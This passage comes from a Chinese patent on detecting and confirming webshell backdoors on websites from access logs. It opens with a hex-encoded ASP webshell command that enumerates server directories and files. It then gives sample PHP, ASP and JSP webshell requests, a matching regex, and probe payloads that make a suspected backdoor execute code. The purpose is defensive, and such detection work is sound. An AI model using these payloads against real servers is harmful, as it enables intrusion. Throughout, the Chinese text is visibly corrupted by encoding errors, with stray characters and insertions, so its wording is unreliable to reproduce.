46443d464426446179286474292622202226466f726d61744461746554696d652864742c342926223a223a4966204c656e285365636f6e6428647429293d31205468656e3a46443d4644262230223a456e642049663a46443d4644265365636f6e64286474293a456e642046756e6374696f6e3a53455420433d4372656174654f626a6563742822536372697074696e672e46696c6553797374656d4f626a65637422293a53657420464f3d432e476574466f6c646572282222265252262222293a496620457272205468656e3a526573706f6e73652e577269746528224552524f523a2f2f2022264572722e4465736372697074696f6e293a4572722e436c6561723a456c73653a466f722045616368204620696e20464f2e737562666f6c646572733a526573706f6e73652e577269746520462e4e616d6526636872283437292663687228392926464428462e446174654c6173744d6f646966696564292663687228392926636872283438292663687228392926432e476574466f6c64657228462e50617468292e6174747269627574657326636872283130293a4e6578743a466f722045616368204c20696e20464f2e66696c65733a526573706f6e73652e5772697465204c2e4e616d6526636872283929264644284c2e446174654c6173744d6f6469666965642926636872283929264c2e73697a652663687228392926432e47657446696c65284c2e50617468292e6174747269627574657326636872283130293a4e6578743a456e64204966"""")):response.write(""""|<-""""):response.end"")")&z1=663a5c5c7573725c5c4c6f63616c557365725c5c717877313539303936303432355c5c636f6e6669675c5c
基于上述分析,本發(fā)明實(shí)施例所提供的日志分析過程需要完成以下工作:
(1)與上述php類型請(qǐng)求的處理方式相同,從webshell管理工具發(fā)送的訪問請(qǐng)求中將webshell的連接密碼提取出來。
(2)相比于php類型請(qǐng)求,asp類型請(qǐng)求前面的代碼的混淆程度更高,其匹配難度較大,因此,可以省略asp類型請(qǐng)求前面的代碼部分的匹配。即不需要通過判斷解析后的請(qǐng)求主體內(nèi)容中是否包含通信協(xié)議中設(shè)定的固定字段來確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
(3)asp類型請(qǐng)求的中間部分有相當(dāng)長(zhǎng)度的字符串經(jīng)過十六進(jìn)制(hex)編碼,其中,包含了webshell必須要使用到的函數(shù)createobject("scripting.filesystemobject"),即經(jīng)過十六進(jìn)制編碼后的“4372656174654f626a6563742822536372697074696e672e46696c6553797374656d4f626a6563742229”。如果能夠通過匹配命中上述函數(shù),則可以初步確定這是個(gè)webshell。
需要說明的是,上述z1-z5中出現(xiàn)的一定會(huì)出現(xiàn)webshell會(huì)執(zhí)行的代碼即為步驟s2中提到的由網(wǎng)站后門文件執(zhí)行的代碼段。
3.對(duì)于jsp類型的互聯(lián)網(wǎng)訪問請(qǐng)求
假設(shè)使用webshell管理工具發(fā)送的jsp類型訪問請(qǐng)求,其具體表現(xiàn)形式如下:
ch023=b&z0=utf-8&z1=d:\\install+software\\tomcat7\\webapps\\cxzm\\
基于上述分析,本發(fā)明實(shí)施例所提供的日志分析過程需要完成以下工作:
(1)與上述php類型請(qǐng)求的處理方式相同,從webshell管理工具發(fā)送的訪問請(qǐng)求中將webshell的連接密碼提取出來。
(2)在上述jsp類型請(qǐng)求中第一次出現(xiàn)的等號(hào)右邊的大寫字母的含義代表一個(gè)操作代號(hào),從a-z可以代表執(zhí)行不同的操作。而在jsp類型請(qǐng)求中的z0是基本保持不變的,因此,可以在這里使用正則匹配\=[a-z]\&z0\=。
需要說明的是,對(duì)于jsp類型的互聯(lián)網(wǎng)訪問請(qǐng)求通常僅需要執(zhí)行上述步驟s2中提到的關(guān)于解析后的請(qǐng)求主體內(nèi)容中是否包含通信協(xié)議中設(shè)定的固定字段的匹配操作。
可選地,在步驟s206中,根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式可以包括以下操作:
步驟s3:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取url;
步驟s4:根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;
步驟s5:按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
例如:在使用webshell管理工具發(fā)送的php類型訪問請(qǐng)求的請(qǐng)求行“post/hehe.phphttp/1.1”中,可以通過解析從該請(qǐng)求行中提取到url“hehe.php”;然后,通過該url的后綴部分內(nèi)容“.php”能夠確定這是個(gè)php類型的互聯(lián)網(wǎng)訪問請(qǐng)求,由此可以進(jìn)一步針對(duì)php類型的互聯(lián)網(wǎng)訪問請(qǐng)求選取php類型的驗(yàn)證方案。
可選地,在步驟s208中,通過驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件可以包括以下步驟:
步驟s6:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;
步驟s7:在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;
步驟s8:按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;
步驟s9:當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
根據(jù)上述日志分析過程中提取到的滿足webshell管理工具的通信協(xié)議特征的url,并不意味著這個(gè)url對(duì)應(yīng)的網(wǎng)站文件就必定是一個(gè)后門文件,其原因在于:目前網(wǎng)絡(luò)上存在很多黑客會(huì)主動(dòng)去掃描網(wǎng)站后門文件,而這些掃描請(qǐng)求本身也攜帶有固定的url地址,同時(shí)在這些掃描請(qǐng)求中也會(huì)使用webshell管理工具的通信協(xié)議嘗試與目標(biāo)文件進(jìn)行交互,因此,這些掃描請(qǐng)求也很有可能滿足部分webshell管理工具的通信協(xié)議特征,進(jìn)而會(huì)被認(rèn)定為是后門文件。故而,上述黑客主動(dòng)掃描網(wǎng)站后門文件等行為的存在,易導(dǎo)致url對(duì)應(yīng)的網(wǎng)站文件便是后門文件存在大量誤報(bào)。
因此,需要采取有效的技術(shù)手段來排除因上述黑客主動(dòng)掃描網(wǎng)站后門文件等行為所產(chǎn)生的誤報(bào)。對(duì)此,首先,需要針對(duì)每一種編程語言的后門文件分別設(shè)計(jì)一套后門驗(yàn)證方案;其次,根據(jù)日志分析過程得到的滿足webshell管理工具的通信特征的后門url的后綴名確定使用哪一種具體的驗(yàn)證方案;然后,再利用連接密碼對(duì)后門文件進(jìn)行驗(yàn)證,而最終驗(yàn)證成功的網(wǎng)站后門url便可以被確切認(rèn)定為當(dāng)前存在的網(wǎng)站后門文件。
1.對(duì)于php類型的互聯(lián)網(wǎng)訪問請(qǐng)求而言:
由于與連接密碼相對(duì)的等號(hào)另一邊的內(nèi)容會(huì)被服務(wù)器直接執(zhí)行,因此,可以先嘗試讓文件執(zhí)行一次簡(jiǎn)單的運(yùn)算,然后將結(jié)果顯示出來。如果經(jīng)過運(yùn)算返回的內(nèi)容與預(yù)計(jì)的結(jié)果一致,則確認(rèn)該文件為webshell。
假設(shè)使用webshell管理工具發(fā)送的php類型的訪問請(qǐng)求如下:
post/hehe.phphttp/1.1
content-type:application/x-www-form-urlencoded
host:127.0.0.1
content-length:765
connection:close
通過連接密碼數(shù)字“8”查找與該連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分,并按照如下設(shè)定的計(jì)算方式生成運(yùn)算結(jié)果:
8=die(md5(233333));
如果運(yùn)算結(jié)果返回fb0b32aeafac4591c7ae6d5e58308344且與預(yù)期的計(jì)算結(jié)果相一致,則確認(rèn)驗(yàn)證成功,該php類型的互聯(lián)網(wǎng)訪問請(qǐng)求所訪問的文件必定是網(wǎng)站后門文件。
2.對(duì)于asp類型的互聯(lián)網(wǎng)訪問請(qǐng)求而言:
其驗(yàn)證原理與psp類型的訪問請(qǐng)求的驗(yàn)證原理相同,即假設(shè)使用webshell管理工具發(fā)送的asp類型的訪問請(qǐng)求如下:
post/hehe.asphttp/1.1
content-type:application/x-www-form-urlencoded
host:127.0.0.1
content-length:765
connection:close
通過連接密碼數(shù)字“8”查找與該連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分,并按照如下設(shè)定的計(jì)算方式生成運(yùn)算結(jié)果:
8=response.write(654363512+3656342)
如果運(yùn)算結(jié)果返回658019854且與預(yù)期的計(jì)算結(jié)果相一致,則確認(rèn)驗(yàn)證成功,該asp類型的互聯(lián)網(wǎng)訪問請(qǐng)求所訪問的文件必定是網(wǎng)站后門文件。
可選地,在步驟s208中,通過驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件可以包括以下操作:
步驟s10:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;
步驟s11:在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;
步驟s12:按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;
步驟s13:當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
對(duì)于jsp類型的互聯(lián)網(wǎng)訪問請(qǐng)求而言:
由于jsp木馬無法直接執(zhí)行post內(nèi)容中的代碼,而只能執(zhí)行少量的預(yù)設(shè)指令,因此,可以嘗試執(zhí)行“列目錄”操作,即:假設(shè)使用webshell管理工具發(fā)送的jsp類型的訪問請(qǐng)求如下:
post/hehe.jsphttp/1.1
content-type:application/x-www-form-urlencoded
host:127.0.0.1
content-length:765
connection:close
通過連接密碼數(shù)字“8”查找與該連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分,并按照如下設(shè)定的功能指令生成顯示結(jié)果:
8=a&z0=utf-8
如果返回的顯示結(jié)果中帶有“|<-”和“->|”,則表明當(dāng)前執(zhí)行的是“列目錄”操作,即驗(yàn)證成功,該jsp類型的互聯(lián)網(wǎng)訪問請(qǐng)求所訪問的文件必定是網(wǎng)站后門文件。
需要說明的是,對(duì)于前述的各方法實(shí)施例,為了簡(jiǎn)單描述,故將其都表述為一系列的動(dòng)作組合,但是本領(lǐng)域技術(shù)人員應(yīng)該知悉,本發(fā)明并不受所描述的動(dòng)作順序的限制,因?yàn)橐罁?jù)本發(fā)明,某些步驟可以采用其他順序或者同時(shí)進(jìn)行。其次,本領(lǐng)域技術(shù)人員也應(yīng)該知悉,說明書中所描述的實(shí)施例均屬于優(yōu)選實(shí)施例,所涉及的動(dòng)作和模塊并不一定是本發(fā)明所必須的。
通過以上的實(shí)施方式的描述,本領(lǐng)域的技術(shù)人員可以清楚地了解到根據(jù)上述實(shí)施例的網(wǎng)站后門文件的驗(yàn)證方法可借助軟件加必需的通用硬件平臺(tái)的方式來實(shí)現(xiàn),當(dāng)然也可以通過硬件,但很多情況下前者是更佳的實(shí)施方式?;谶@樣的理解,本發(fā)明的技術(shù)方案本質(zhì)上或者說對(duì)現(xiàn)有技術(shù)做出貢獻(xiàn)的部分可以以軟件產(chǎn)品的形式體現(xiàn)出來,該計(jì)算機(jī)軟件產(chǎn)品存儲(chǔ)在一個(gè)存儲(chǔ)介質(zhì)(如rom/ram、磁碟、光盤)中,包括若干指令用以使得一臺(tái)終端設(shè)備(可以是手機(jī),計(jì)算機(jī),服務(wù)器,或者網(wǎng)絡(luò)設(shè)備等)執(zhí)行本發(fā)明各個(gè)實(shí)施例所述的方法。
實(shí)施例2
根據(jù)本發(fā)明實(shí)施例,還提供了一種用于實(shí)施上述網(wǎng)站后門文件的驗(yàn)證裝置,如圖3所示,該裝置包括:獲取模塊10,用于獲取網(wǎng)絡(luò)訪問日志記錄;分析模塊20,用于按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;選取模塊30,用于根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;驗(yàn)證模塊40,用于通過選取的驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件。
可選地,圖4是根據(jù)本發(fā)明優(yōu)選實(shí)施例的網(wǎng)站后門文件的驗(yàn)證裝置的結(jié)構(gòu)框圖。如圖4所示,分析模塊20可以包括:解析單元200,用于采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;第一確定單元202,用于將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
可選地,如圖4所示,選取模塊30可以包括:第一提取單元300,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取url;第二確定單元302,用于根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;選取單元304,用于按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
可選地,如圖4所示,驗(yàn)證模塊40可以包括:第二提取單元400,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;查找單元402,用于在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;生成單元404,用于按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;第三確定單元406,用于當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選地,驗(yàn)證模塊40可以包括:第二提取單元400,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;查找單元402,用于在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;生成單元404,用于按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;第三確定單元406,用于當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
實(shí)施例3
本發(fā)明的實(shí)施例可以提供一種計(jì)算機(jī)終端,該計(jì)算機(jī)終端可以是計(jì)算機(jī)終端群中的任意一個(gè)計(jì)算機(jī)終端設(shè)備。可選地,在本實(shí)施例中,上述計(jì)算機(jī)終端也可以替換為移動(dòng)終端等終端設(shè)備。
可選地,在本實(shí)施例中,上述計(jì)算機(jī)終端可以位于計(jì)算機(jī)網(wǎng)絡(luò)的多個(gè)網(wǎng)絡(luò)設(shè)備中的至少一個(gè)網(wǎng)絡(luò)設(shè)備。
可選地,圖5是根據(jù)本發(fā)明實(shí)施例的一種計(jì)算機(jī)終端的結(jié)構(gòu)框圖。如圖5所示,該計(jì)算機(jī)終端可以包括:一個(gè)或多個(gè)(圖中僅示出一個(gè))處理器以及存儲(chǔ)器。
其中,存儲(chǔ)器可用于存儲(chǔ)軟件程序以及模塊,如本發(fā)明實(shí)施例中的網(wǎng)站后門文件的驗(yàn)證方法和裝置對(duì)應(yīng)的程序指令/模塊,處理器通過運(yùn)行存儲(chǔ)在存儲(chǔ)器內(nèi)的軟件程序以及模塊,從而執(zhí)行各種功能應(yīng)用以及數(shù)據(jù)處理,即實(shí)現(xiàn)上述的網(wǎng)站后門文件的驗(yàn)證方法。存儲(chǔ)器可包括高速隨機(jī)存儲(chǔ)器,還可以包括非易失性存儲(chǔ)器,如一個(gè)或者多個(gè)磁性存儲(chǔ)裝置、閃存、或者其他非易失性固態(tài)存儲(chǔ)器。在一些實(shí)例中,存儲(chǔ)器可進(jìn)一步包括相對(duì)于處理器遠(yuǎn)程設(shè)置的存儲(chǔ)器,這些遠(yuǎn)程存儲(chǔ)器可以通過網(wǎng)絡(luò)連接至終端。上述網(wǎng)絡(luò)的實(shí)例包括但不限于互聯(lián)網(wǎng)、企業(yè)內(nèi)部網(wǎng)、局域網(wǎng)、移動(dòng)通信網(wǎng)及其組合。
處理器可以通過傳輸裝置調(diào)用存儲(chǔ)器存儲(chǔ)的信息及應(yīng)用程序,以執(zhí)行下述步驟:
s1:獲取網(wǎng)絡(luò)訪問日志記錄;
s2:按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;
s3:根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;
s4:通過選取的驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件。
可選的,上述處理器還可以執(zhí)行如下步驟的程序代碼:采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
可選的,上述處理器還可以執(zhí)行如下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取統(tǒng)一資源定位符(url);根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
可選的,上述處理器還可以執(zhí)行如下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選的,上述處理器還可以執(zhí)行如下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
采用本發(fā)明實(shí)施例,提供了一種網(wǎng)站后門文件的驗(yàn)證方案。采用按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)服務(wù)器上留存的網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析的方式選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄,并且根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式確認(rèn)網(wǎng)絡(luò)后門文件是否真實(shí)存在,從而有效地提高了對(duì)網(wǎng)站后門文件進(jìn)行識(shí)別的成功率,顯著地降低了對(duì)網(wǎng)站后門文件進(jìn)行驗(yàn)證過程中發(fā)生漏報(bào)或誤報(bào)的概率,進(jìn)而解決了相關(guān)技術(shù)中所采用的通過特征匹配的方式確定網(wǎng)站后門文件的方式準(zhǔn)確性較低,易產(chǎn)生漏報(bào)或誤報(bào)的技術(shù)問題。
本領(lǐng)域普通技術(shù)人員可以理解,圖5所示的結(jié)構(gòu)僅為示意,計(jì)算機(jī)終端也可以是智能手機(jī)(如android手機(jī)、ios手機(jī)等)、平板電腦、掌聲電腦以及移動(dòng)互聯(lián)網(wǎng)設(shè)備(mobileinternetdevices,mid)、pad等終端設(shè)備。圖5其并不對(duì)上述電子裝置的結(jié)構(gòu)造成限定。例如,計(jì)算機(jī)終端還可包括比圖5中所示更多或者更少的組件(如網(wǎng)絡(luò)接口、顯示裝置等),或者具有與圖5所示不同的配置。
本領(lǐng)域普通技術(shù)人員可以理解上述實(shí)施例的各種方法中的全部或部分步驟是可以通過程序來指令終端設(shè)備相關(guān)的硬件來完成,該程序可以存儲(chǔ)于一計(jì)算機(jī)可讀存儲(chǔ)介質(zhì)中,存儲(chǔ)介質(zhì)可以包括:閃存盤、只讀存儲(chǔ)器(read-onlymemory,rom)、隨機(jī)存取器(randomaccessmemory,ram)、磁盤或光盤等。
實(shí)施例4
本發(fā)明的實(shí)施例還提供了一種存儲(chǔ)介質(zhì)。可選地,在本實(shí)施例中,上述存儲(chǔ)介質(zhì)可以用于保存上述實(shí)施例一所提供的網(wǎng)站后門文件的驗(yàn)證方法所執(zhí)行的程序代碼。
可選地,在本實(shí)施例中,上述存儲(chǔ)介質(zhì)可以位于計(jì)算機(jī)網(wǎng)絡(luò)中計(jì)算機(jī)終端群中的任意一個(gè)計(jì)算機(jī)終端中,或者位于移動(dòng)終端群中的任意一個(gè)移動(dòng)終端中。
可選地,在本實(shí)施例中,存儲(chǔ)介質(zhì)被設(shè)置為存儲(chǔ)用于執(zhí)行以下步驟的程序代碼:
s1:獲取網(wǎng)絡(luò)訪問日志記錄;
s2:按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;
s3:根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;
s4:通過選取的驗(yàn)證方式確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件。
可選地,在本實(shí)施例中,存儲(chǔ)介質(zhì)還被設(shè)置為存儲(chǔ)用于執(zhí)行以下步驟的程序代碼:采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
可選地,在本實(shí)施例中,存儲(chǔ)介質(zhì)還被設(shè)置為存儲(chǔ)用于執(zhí)行以下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取統(tǒng)一資源定位符(url);根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
可選地,在本實(shí)施例中,存儲(chǔ)介質(zhì)還被設(shè)置為存儲(chǔ)用于執(zhí)行以下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選地,在本實(shí)施例中,存儲(chǔ)介質(zhì)還被設(shè)置為存儲(chǔ)用于執(zhí)行以下步驟的程序代碼:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
上述本發(fā)明實(shí)施例序號(hào)僅僅為了描述,不代表實(shí)施例的優(yōu)劣。
在本發(fā)明的上述實(shí)施例中,對(duì)各個(gè)實(shí)施例的描述都各有側(cè)重,某個(gè)實(shí)施例中沒有詳述的部分,可以參見其他實(shí)施例的相關(guān)描述。
在本申請(qǐng)所提供的幾個(gè)實(shí)施例中,應(yīng)該理解到,所揭露的技術(shù)內(nèi)容,可通過其它的方式實(shí)現(xiàn)。其中,以上所描述的裝置實(shí)施例僅僅是示意性的,例如所述單元的劃分,僅僅為一種邏輯功能劃分,實(shí)際實(shí)現(xiàn)時(shí)可以有另外的劃分方式,例如多個(gè)單元或組件可以結(jié)合或者可以集成到另一個(gè)系統(tǒng),或一些特征可以忽略,或不執(zhí)行。另一點(diǎn),所顯示或討論的相互之間的耦合或直接耦合或通信連接可以是通過一些接口,單元或模塊的間接耦合或通信連接,可以是電性或其它的形式。
所述作為分離部件說明的單元可以是或者也可以不是物理上分開的,作為單元顯示的部件可以是或者也可以不是物理單元,即可以位于一個(gè)地方,或者也可以分布到多個(gè)網(wǎng)絡(luò)單元上??梢愿鶕?jù)實(shí)際的需要選擇其中的部分或者全部單元來實(shí)現(xiàn)本實(shí)施例方案的目的。
另外,在本發(fā)明各個(gè)實(shí)施例中的各功能單元可以集成在一個(gè)處理單元中,也可以是各個(gè)單元單獨(dú)物理存在,也可以兩個(gè)或兩個(gè)以上單元集成在一個(gè)單元中。上述集成的單元既可以采用硬件的形式實(shí)現(xiàn),也可以采用軟件功能單元的形式實(shí)現(xiàn)。
所述集成的單元如果以軟件功能單元的形式實(shí)現(xiàn)并作為獨(dú)立的產(chǎn)品銷售或使用時(shí),可以存儲(chǔ)在一個(gè)計(jì)算機(jī)可讀取存儲(chǔ)介質(zhì)中?;谶@樣的理解,本發(fā)明的技術(shù)方案本質(zhì)上或者說對(duì)現(xiàn)有技術(shù)做出貢獻(xiàn)的部分或者該技術(shù)方案的全部或部分可以以軟件產(chǎn)品的形式體現(xiàn)出來,該計(jì)算機(jī)軟件產(chǎn)品存儲(chǔ)在一個(gè)存儲(chǔ)介質(zhì)中,包括若干指令用以使得一臺(tái)計(jì)算機(jī)設(shè)備(可為個(gè)人計(jì)算機(jī)、服務(wù)器或者網(wǎng)絡(luò)設(shè)備等)執(zhí)行本發(fā)明各個(gè)實(shí)施例所述方法的全部或部分步驟。而前述的存儲(chǔ)介質(zhì)包括:u盤、只讀存儲(chǔ)器(rom,read-onlymemory)、隨機(jī)存取存儲(chǔ)器(ram,randomaccessmemory)、移動(dòng)硬盤、磁碟或者光盤等各種可以存儲(chǔ)程序代碼的介質(zhì)。
以上所述僅是本發(fā)明的優(yōu)選實(shí)施方式,應(yīng)當(dāng)指出,對(duì)于本技術(shù)領(lǐng)域的普通技術(shù)人員來說,在不脫離本發(fā)明原理的前提下,還可以做出若干改進(jìn)和潤(rùn)飾,這些改進(jìn)和潤(rùn)飾也應(yīng)視為本發(fā)明的保護(hù)范圍。